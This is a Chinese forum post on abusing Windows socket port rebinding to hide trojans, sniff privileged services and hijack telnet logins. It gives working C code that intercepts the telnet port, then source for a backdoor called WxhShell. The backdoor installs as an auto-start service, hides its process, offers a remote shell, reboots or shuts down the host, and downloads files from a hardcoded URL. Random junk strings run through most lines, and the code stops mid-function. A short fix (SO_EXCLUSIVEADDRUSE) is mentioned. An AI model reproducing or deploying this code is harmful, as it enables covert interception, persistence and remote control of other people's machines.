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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QqF&lMH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JA")L0a_  
#z( JYw,  
  saddr.sin_family = AF_INET; x)^/3  
u U|fCwQt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #]g9O?0$  
&efwfnG<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J2va Kl  
]j^V5y"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2 c%*u {=:  
$@VQ{S  
  这意味着什么?意味着可以进行如下的攻击: BGe&c,feIc  
$<]G#&F   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZRD@8'1p  
_QS+{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @P$_2IU"  
yjq~O~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .lcI"%>  
ox}LC, !  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MO1t 0Myc  
ulqh}Uv'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SK>*tKY  
Y[\ZN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eM>f#M  
#]vy`rv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !)nA4l= S#  
UNc[h&@_  
  #include H&yK{0H  
  #include qjtrU#n  
  #include  C0Oe$& _  
  #include    G"xa"hGF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EYLqg`2A  
  int main() uyp|Xh,  
  { 4a]$4LQV  
  WORD wVersionRequested; GadZ!_.f  
  DWORD ret; xe=/T# %  
  WSADATA wsaData; Lwy9QZL  
  BOOL val; '`+GC9VG  
  SOCKADDR_IN saddr; xUKn  
  SOCKADDR_IN scaddr; IM^K]$q$47  
  int err; A3;}C+K  
  SOCKET s; !_ng_,J  
  SOCKET sc; YNRorE   
  int caddsize; <8'-azpJ6<  
  HANDLE mt; t+2!"Jr  
  DWORD tid;   Vk#wJ-  
  wVersionRequested = MAKEWORD( 2, 2 ); byyzXRO;  
  err = WSAStartup( wVersionRequested, &wsaData ); 2G(RQ\Ro*  
  if ( err != 0 ) { $_u9Y!  
  printf("error!WSAStartup failed!\n"); 7*a']W{aJ  
  return -1; i6.HR?n  
  } +O2z&a;q  
  saddr.sin_family = AF_INET; U|NVDuo{{x  
   \["'%8[:gR  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IPIas$  
[VsTyqV a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  4dd]Ju  
  saddr.sin_port = htons(23); t:SME'~.P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "< c,I=A  
  {  UE-+P  
  printf("error!socket failed!\n"); AWXBk+  
  return -1; aj$#8l |zu  
  } >=WlrmI  
  val = TRUE; wcd1.$ n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tlz+!>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G<8d=}  
  { 7FTf8  
  printf("error!setsockopt failed!\n"); oa K&!$S]  
  return -1; ]:6M!+?(  
  } d=6FL" .o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YyF=u~l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `u *:wJsv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TsvF~Gdp  
>@mvb@4*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DO^K8~]  
  { R)<PCe`vf  
  ret=GetLastError(); +@ j@#~=K  
  printf("error!bind failed!\n"); JF+E.-fy$  
  return -1; )[c@5zy~*  
  } ^e 1Ux  
  listen(s,2); kt0ma/QpP  
  while(1) :B(vk3;U!  
  { 'on8r*  
  caddsize = sizeof(scaddr); T+0Z2H  
  //接受连接请求 "E6*.EtTN#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fBi6% #  
  if(sc!=INVALID_SOCKET) X<j(AAHE  
  { : }q~<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _UqE -+&  
  if(mt==NULL) nKO4o8js{{  
  { BwpSw\\?@  
  printf("Thread Creat Failed!\n"); -VO&#Mt5u  
  break; IGtpL[.;/  
  } soTmKqj E  
  } wS)2ymRg  
  CloseHandle(mt); 3G;#QK -c  
  } %+{[%?xh  
  closesocket(s); N1vPY]8  
  WSACleanup(); }%@q; "9`  
  return 0; dpTeF`N  
  }   d hp-XIA;  
  DWORD WINAPI ClientThread(LPVOID lpParam) FthrI  
  { h3<L,Olp  
  SOCKET ss = (SOCKET)lpParam; ?|`Ba-  
  SOCKET sc; n'42CE  
  unsigned char buf[4096]; J'=iEI  
  SOCKADDR_IN saddr; hA6D*8oXD  
  long num; $r'PYGn  
  DWORD val; RdirEH *H  
  DWORD ret; Q, `:RF3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y]33:c_;Mo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^qro0]"LD  
  saddr.sin_family = AF_INET; (:spA5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G%RL8HU  
  saddr.sin_port = htons(23); &Oxf^x["]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3om_Z/k  
  { ZITic&>W  
  printf("error!socket failed!\n"); nc.(bb),  
  return -1; qpCNvhi  
  } ]m(C}}  
  val = 100; \?VNr2   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eL`}j9  
  { C~ r(*nr  
  ret = GetLastError(); TGxmc37?  
  return -1; ,*r}23  
  } xX5EhVR   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gI /#7Cr  
  { _?YP0GpU  
  ret = GetLastError(); #3h~Z)+y  
  return -1; I=DvP;!  
  } E;vF :?|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G""L1?  
  { +pefk+  
  printf("error!socket connect failed!\n"); vK10p)ZV  
  closesocket(sc); 9bxBm  
  closesocket(ss); }5??n~:*5  
  return -1; Pcs62aE  
  } @N%/v*  
  while(1) '@WpJ{]A  
  { 'PBuf:9lN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l[P VWM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I/HcIBJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6~rO(  
  num = recv(ss,buf,4096,0); Bw`7ND}&  
  if(num>0) W7 .Y`u[  
  send(sc,buf,num,0); \H -,^[G3  
  else if(num==0) q"uP%TN  
  break; RY4b <i3  
  num = recv(sc,buf,4096,0); &W|r P(  
  if(num>0) g:yUZ;U  
  send(ss,buf,num,0); 5x} XiMM  
  else if(num==0) ))<1"7D^^  
  break; kYl')L6  
  } NF0=t}e  
  closesocket(ss); v1m'p:7uGB  
  closesocket(sc); w9c^IS  
  return 0 ; VGPBD-6)  
  } {$ (X,E  
n-5@<y^  
rZt7C(FM$7  
========================================================== d${RZ}/  
IcDAl~uG  
下边附上一个代码,,WXhSHELL ="<S1}.  
$X;wj5oj  
========================================================== &|% F=/VU  
j0eGg::  
#include "stdafx.h" rRK^vfoJ`  
v6$ }saTX  
#include <stdio.h> OfAh? ^R  
#include <string.h> wBbJ \  
#include <windows.h> rF*L@HI  
#include <winsock2.h> KVC$o+<'`%  
#include <winsvc.h> |rhCQ"H  
#include <urlmon.h> )= :gO`"D  
@ a$HJ:  
#pragma comment (lib, "Ws2_32.lib") TSp;Vr OP  
#pragma comment (lib, "urlmon.lib") bTrQ(qp  
-2\%?A6L  
#define MAX_USER   100 // 最大客户端连接数 KkF3E*q\H  
#define BUF_SOCK   200 // sock buffer /;K?Y#mf~j  
#define KEY_BUFF   255 // 输入 buffer M.loG4r!  
>JWW2<  
#define REBOOT     0   // 重启 *@C]\)  
#define SHUTDOWN   1   // 关机 yE80*C~d  
`~.0PnHf  
#define DEF_PORT   5000 // 监听端口 UyWKE<  
aV6l"A]  
#define REG_LEN     16   // 注册表键长度 :/1/i&a  
#define SVC_LEN     80   // NT服务名长度 m K);NvJ!  
_Q $D6+  
// 从dll定义API )}KQtkU8:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L 2Z9g`>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1,/L&_=_A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5YQq*$|'+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9tt0_*UX  
4wa8Vw`  
// wxhshell配置信息 bktw?{h  
struct WSCFG { Mb2rHUr  
  int ws_port;         // 监听端口 J(s%"d  
  char ws_passstr[REG_LEN]; // 口令 ~:|qdv%\  
  int ws_autoins;       // 安装标记, 1=yes 0=no u>cU*E4/  
  char ws_regname[REG_LEN]; // 注册表键名 jl:dKL@  
  char ws_svcname[REG_LEN]; // 服务名 _]Ei,Ua  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :6 \?{xD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,fQs+*j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a33SY6.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %mv9+WJN.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x,3oa_'E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qUMM}ls  
bO:m^*  
}; u3Jsu=Nx-  
^&|$&7  
// default Wxhshell configuration yQ3*~d~U|L  
struct WSCFG wscfg={DEF_PORT, ;?A?1q8*  
    "xuhuanlingzhe", >UQ`@GdafR  
    1, KioD/  
    "Wxhshell", n* 7mP   
    "Wxhshell", ?pLKUAh  
            "WxhShell Service", 5nhc|E)C  
    "Wrsky Windows CmdShell Service", G#~6a%VW  
    "Please Input Your Password: ", 3cp"UU}.  
  1, j1LL[+G-"_  
  "http://www.wrsky.com/wxhshell.exe", " * Qwaq_  
  "Wxhshell.exe" v8< MAq  
    }; ZV=)`E`I|  
NyJ=^=F#  
// 消息定义模块 @$ea-fK??  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d_5wMK6O6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6-'Y*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XP$1CWI  
char *msg_ws_ext="\n\rExit."; 'x-PQQ  
char *msg_ws_end="\n\rQuit."; 1HBdIWhHv.  
char *msg_ws_boot="\n\rReboot..."; vT7ei"~&u  
char *msg_ws_poff="\n\rShutdown..."; I2b\[d  
char *msg_ws_down="\n\rSave to "; }+_Z|>qv  
P]pVYX# m  
char *msg_ws_err="\n\rErr!"; Ef}rMkv  
char *msg_ws_ok="\n\rOK!"; 4eOQP  
`B^ HW8  
char ExeFile[MAX_PATH]; b;[u=9ez  
int nUser = 0; A#"AqNVWv  
HANDLE handles[MAX_USER]; u/@dWeY[]  
int OsIsNt; aXSTA ,%  
(aO+7ykRuJ  
SERVICE_STATUS       serviceStatus; .-:R mYGR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [}/\W`C  
S"Q$ Ol"  
// 函数声明 nsq7,%5  
int Install(void); y?|JBf  
int Uninstall(void); D/jS4'$vA  
int DownloadFile(char *sURL, SOCKET wsh); @'K+   
int Boot(int flag); e:BKdZGW  
void HideProc(void); 6^L4wd7)  
int GetOsVer(void); L;},1 \  
int Wxhshell(SOCKET wsl); 8^H <dR  
void TalkWithClient(void *cs); *(~=L%s  
int CmdShell(SOCKET sock); uQ;b'6Jcp  
int StartFromService(void); qYMTud[Vf  
int StartWxhshell(LPSTR lpCmdLine); A3UC=z<y  
iG[an*#X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V0]6F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ef;OrE""  
[-@Lbu-|  
// 数据结构和表定义 FafOd9>AO  
SERVICE_TABLE_ENTRY DispatchTable[] = .<|7BHL  
{ +^c;4-X 0  
{wscfg.ws_svcname, NTServiceMain}, >F zu]G4]  
{NULL, NULL} j}=$2|}8{  
}; "[.adiw  
mn=G6h T}W  
// 自我安装 (+Yerc.NQt  
int Install(void) F:8cd^d~u  
{ &}1PH% 6  
  char svExeFile[MAX_PATH]; Xm7Nr#  
  HKEY key; & >AXB6  
  strcpy(svExeFile,ExeFile); ;b[% L&  
~CQYF,[Th  
// 如果是win9x系统,修改注册表设为自启动 &b 2Vt  
if(!OsIsNt) { (~r"N?`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %} _{_Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o0>z6Ya<  
  RegCloseKey(key); uC>X;<^   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5]WpH0kzO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^n|u$gIF8  
  RegCloseKey(key); _RFTm.9&  
  return 0; i0($@6Lh  
    } T(<C8  
  } (R*K)(Nw[  
} F3\'WQh  
else { Tsez&R$k  
CL*i,9:NR  
// 如果是NT以上系统,安装为系统服务 +oY[uF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fjUyx:  
if (schSCManager!=0) +jFcq:`#UG  
{ Rld1pX2v  
  SC_HANDLE schService = CreateService CQo<}}-o  
  ( %Ot22a  
  schSCManager, 9L}=xX`>?  
  wscfg.ws_svcname, i#t)tM"  
  wscfg.ws_svcdisp, +2kJuoj:  
  SERVICE_ALL_ACCESS, /?%zNkcxu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9S0I<<m  
  SERVICE_AUTO_START, r*K[,  
  SERVICE_ERROR_NORMAL, lPh>8:qFM  
  svExeFile, 7_WD)Y2yS  
  NULL, v1yNVs \}  
  NULL, 8_MR7'C1hi  
  NULL, y>vr Uxgo  
  NULL, 7m6@]S6  
  NULL 'AX/?Srd  
  ); +$:bzo_u  
  if (schService!=0) CT@JNG$<"  
  { \v7M`! &  
  CloseServiceHandle(schService); 6@-VLO))O  
  CloseServiceHandle(schSCManager); M`$s dZ"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }fW@8ji\  
  strcat(svExeFile,wscfg.ws_svcname); 3_W1)vd{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %aU4d e^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6mJa  
  RegCloseKey(key); zg!;g`Z@S  
  return 0; TOo0rcl  
    } \4q% n  
  } (yv&&Jc  
  CloseServiceHandle(schSCManager); (^'TT>2B  
} RLN>*X  
} m$xL#omD  
-MV</  
return 1; UdmYS3zs  
} oagxTFh8~  
q/Dc*Qn m  
// 自我卸载  T|NNd1>  
int Uninstall(void) 9FT;?~,  
{ >-YPCW  
  HKEY key; CwQgA%) !i  
g&y'#,'Q~,  
if(!OsIsNt) { )6#dxb9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e%w>QN`  
  RegDeleteValue(key,wscfg.ws_regname); F#KO!\iA+  
  RegCloseKey(key); <N11$t&_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "q(#,,_  
  RegDeleteValue(key,wscfg.ws_regname); 1;<J] S$$  
  RegCloseKey(key); T8 k@DS  
  return 0; u+eA>{  
  } 7a Fvj  
} zhbp"yju7  
} 0 !yvcviw  
else { XJ~_FiB  
=e/{fUg8f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'f9 fw^  
if (schSCManager!=0) tuuc9H4B  
{ ;aKdRhDo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i $H aE)qZ  
  if (schService!=0) p#W[he  
  { L;=:OX 0  
  if(DeleteService(schService)!=0) { & IVwm"  
  CloseServiceHandle(schService); $ Scb8<  
  CloseServiceHandle(schSCManager); TN}YRXtW+  
  return 0; ]q DhGt  
  } [6Y6{.%~  
  CloseServiceHandle(schService); +2!J3{[J  
  } zXQ o pQ1  
  CloseServiceHandle(schSCManager); D;.O#bS  
} V`$Jan  
} <>`+" O}  
OJ ng  
return 1; pmd=3,D'u  
} 6/@"K HHVe  
ZcgSVMqEX  
// 从指定url下载文件 A-e#&pJ  
int DownloadFile(char *sURL, SOCKET wsh) 2mAXBqdm  
{ 8munw  
  HRESULT hr; AK\X{>$a!  
char seps[]= "/"; jZu">Eh,  
char *token; YHN@?}T()  
char *file; a<l(zJptG  
char myURL[MAX_PATH]; qt5CoxeJ  
char myFILE[MAX_PATH]; /NCEZ@2BN,  
j?D=Ij"o  
strcpy(myURL,sURL); [$)C(1zY  
  token=strtok(myURL,seps); [@Y<:6  
  while(token!=NULL) deSrs:.  
  { m`!C|?hu  
    file=token; }I;A\K]  
  token=strtok(NULL,seps); `T2RaWR4=  
  } %;kr%%t%  
)NJD+yQ%  
GetCurrentDirectory(MAX_PATH,myFILE); 1UX"iO x(  
strcat(myFILE, "\\"); 59gt#1k  
strcat(myFILE, file); 6>ZUx}vYj  
  send(wsh,myFILE,strlen(myFILE),0); <d~P;R(@  
send(wsh,"...",3,0); DytH } U"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~TC z1UWV  
  if(hr==S_OK) U2z1HIs  
return 0; Um 9Gjd  
else rmmN2+H  
return 1; zRPXmu{t  
RWtD81(oC'  
} Yz;Hu$/  
l`8S1~j  
// 系统电源模块 1a4HThDXP  
int Boot(int flag) ?ihkV? ;)  
{ 'L)@tkklp  
  HANDLE hToken; bFk >IifN  
  TOKEN_PRIVILEGES tkp; j(mbUB*  
`#B|l+baq  
  if(OsIsNt) { X=)Ue  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "M5P-l$p}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MkZm =Sf  
    tkp.PrivilegeCount = 1; w!o[pvyR$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;rWgt!l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A\Rkt;:  
if(flag==REBOOT) { p%~#~5t,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8#NtZ  
  return 0; YKq,`7"%  
} r=6-kC!T9  
else { )p'ZSXb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TB 9{e!4  
  return 0; ,-^Grmr4M  
} O_aZ\28};C  
  } AFO g*{1  
  else { 8B;wn<O  
if(flag==REBOOT) { nPh 5(&E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w1B!z  
  return 0; %cMX]U  
} ?WE#%W7U  
else { n[ip'*2L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E>f+E8?  
  return 0; B9pro%R1Bo  
} O\;Z4qn2=  
} d;O16xcM/  
GlYNC&,VL  
return 1; -C]RFlV  
} PPO*&=!]  
ogQY"c8  
// win9x进程隐藏模块 ei)ljvvmHP  
void HideProc(void) D+?/MrP  
{ j*@^O`^v  
-L@4da[]i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xdj` $/RI  
  if ( hKernel != NULL ) >2tQ')%DJ  
  { '"&M4.J{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qeLfO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x!GHUz*:uz  
    FreeLibrary(hKernel); X@KF}x's  
  }  " Mzb  
c}GmS@  
return; k4jZu?\C]  
} Wr H7tz  
SskvxH+7  
// 获取操作系统版本 f*KNt_|:  
int GetOsVer(void) [:<CgU9C  
{ KM$L u2  
  OSVERSIONINFO winfo; /NfuR$oMd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }SYR)eE\  
  GetVersionEx(&winfo); /.r|ron:e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :U_k*9z}=  
  return 1; !_CBf#0  
  else 3Ob"R%Yo  
  return 0; vI3L <[W  
} i"mN0%   
"L^]a$&  
// 客户端句柄模块 a^_\#,}  
int Wxhshell(SOCKET wsl) 0nUcUdIf+  
{ NrH2U Jm  
  SOCKET wsh; FJo  ?~  
  struct sockaddr_in client; 8qGK"%{ ~  
  DWORD myID; -t~l!! N(  
ApHs`0=(  
  while(nUser<MAX_USER) [4 L[.N@  
{ #DK@&Gv  
  int nSize=sizeof(client); ^\=<geEj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "8}p>gS  
  if(wsh==INVALID_SOCKET) return 1; :YaEMQJ^  
.CGPG,\2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G"P@AOw  
if(handles[nUser]==0) ggQ/_F8u  
  closesocket(wsh); Vg'vL[Y  
else u6^cLQO+  
  nUser++; jp=z ^l  
  } F]]1>w*/0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xUl=N   
?WPuTPw{  
  return 0; EH{m~x[Ei  
} ~L\KMB/9e=  
#M kXio; h  
// 关闭 socket ybLl[K(D=  
void CloseIt(SOCKET wsh) 2F* spu  
{ 278:5yC  
closesocket(wsh); kN(*.Q|VZ  
nUser--; o2M+=O@  
ExitThread(0); ~ 8L]!OQ9=  
} T DOOq;+  
k4:$LFw@  
// 客户端请求句柄 K|JpkEw  
void TalkWithClient(void *cs) U-~cVk+LI  
{ 52Sq;X  
N$>.V7H&  
  SOCKET wsh=(SOCKET)cs; $yxwB/O(  
  char pwd[SVC_LEN]; d%+oCoeb  
  char cmd[KEY_BUFF]; >np!f8+d"q  
char chr[1]; >h:rYEsh8V  
int i,j; LsaE-l  
'5xIisP  
  while (nUser < MAX_USER) { u5D@,wSNz  
oz3N 8^M  
if(wscfg.ws_passstr) { {wsO8LX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )CgKZ"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *_feD+rq  
  //ZeroMemory(pwd,KEY_BUFF); eS(hLXE!7  
      i=0; `pr$l  
  while(i<SVC_LEN) { zT$-%  
4lrF{S8  
  // 设置超时 wUb5[m  
  fd_set FdRead; 9N1Uv,OtB  
  struct timeval TimeOut; {A!1s;  
  FD_ZERO(&FdRead); -u)f@e  
  FD_SET(wsh,&FdRead); =' %r"_`}  
  TimeOut.tv_sec=8; \j C[|LM&  
  TimeOut.tv_usec=0; 0 D^d-R,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fny|^F]w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RcJ.=?I!  
bO8>w9MF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yM* CA,(c  
  pwd=chr[0]; G<1)N T\u  
  if(chr[0]==0xd || chr[0]==0xa) { r~f*aD  
  pwd=0; /QuuBtp  
  break; z~Zu >Q1u[  
  } NTq#'O) f  
  i++; 2@7f^be  
    } O7<--  
vG E;PwR  
  // 如果是非法用户,关闭 socket `FS)i7-o6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?\ Fo|__  
} yFt$L'#  
)?_x$GKY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J)R2O{z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _(A9k{  
2;8I0BH*'  
while(1) { [l~Gwaul>  
GJTKqr|1O  
  ZeroMemory(cmd,KEY_BUFF); (]c M ;  
VtM:~|v  
      // 自动支持客户端 telnet标准   )|52B;yZx  
  j=0; GFA D  
  while(j<KEY_BUFF) { W^U6O&-K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kdmmfw  
  cmd[j]=chr[0]; :Q\Es:y  
  if(chr[0]==0xa || chr[0]==0xd) { YoC{ t&rY  
  cmd[j]=0; Cn\5Vyrl  
  break; h>0R!Rl8  
  } op!ft/Yyb  
  j++; :vsBobiJ  
    } |:qaF  
1#nR$  
  // 下载文件 o 8fB  
  if(strstr(cmd,"http://")) { XFj\H(D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  3)D'Yx  
  if(DownloadFile(cmd,wsh)) o`tOnwt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I`e$U  
  else .>X 0 $#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @^q|C&j  
  } ;i;2cq  
  else { ucP"<,a  
<H; z4  
    switch(cmd[0]) { tr[(,kX  
  mBAI";L3  
  // 帮助 aL)}S%5o?  
  case '?': { [nSlkl   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mZ%"""X\Ei  
    break; f{i~hVF  
  } 2Ra}&ie  
  // 安装 R=7,F6.  
  case 'i': { nky%Eb[\  
    if(Install()) Re[x$rw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); So6ZNh9  
    else b\Wlpb=QZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v d{`*|x  
    break; ;FQ<4PR$  
    } k 4HE'WY  
  // 卸载 S*aMUV&  
  case 'r': { \r.{Ru  
    if(Uninstall()) 9` a1xnL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q4H(JD1f)  
    else h4iz(*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y5dt/8Jo  
    break; \OzPDN  
    } [ClDKswq  
  // 显示 wxhshell 所在路径 2`Dqu"TWh  
  case 'p': { H$@5\pP>  
    char svExeFile[MAX_PATH]; \]:}lVtxS  
    strcpy(svExeFile,"\n\r"); i(Xz3L#(  
      strcat(svExeFile,ExeFile); v0aV>-v  
        send(wsh,svExeFile,strlen(svExeFile),0); H\>0jr `  
    break; rd )_*{  
    } G5l?c@o  
  // 重启 a+-X\qN  
  case 'b': { Bd++G'FZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t^k^e{,q#  
    if(Boot(REBOOT)) tyI !y~-z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *UerLpf  
    else { tz^2?wO  
    closesocket(wsh); ',_E;(  
    ExitThread(0); Tr6J+hS  
    } }CM</  
    break; }EMds3<  
    } -J6G=+ s/  
  // 关机 K|Cb6''  
  case 'd': { `SfBT1#5G  
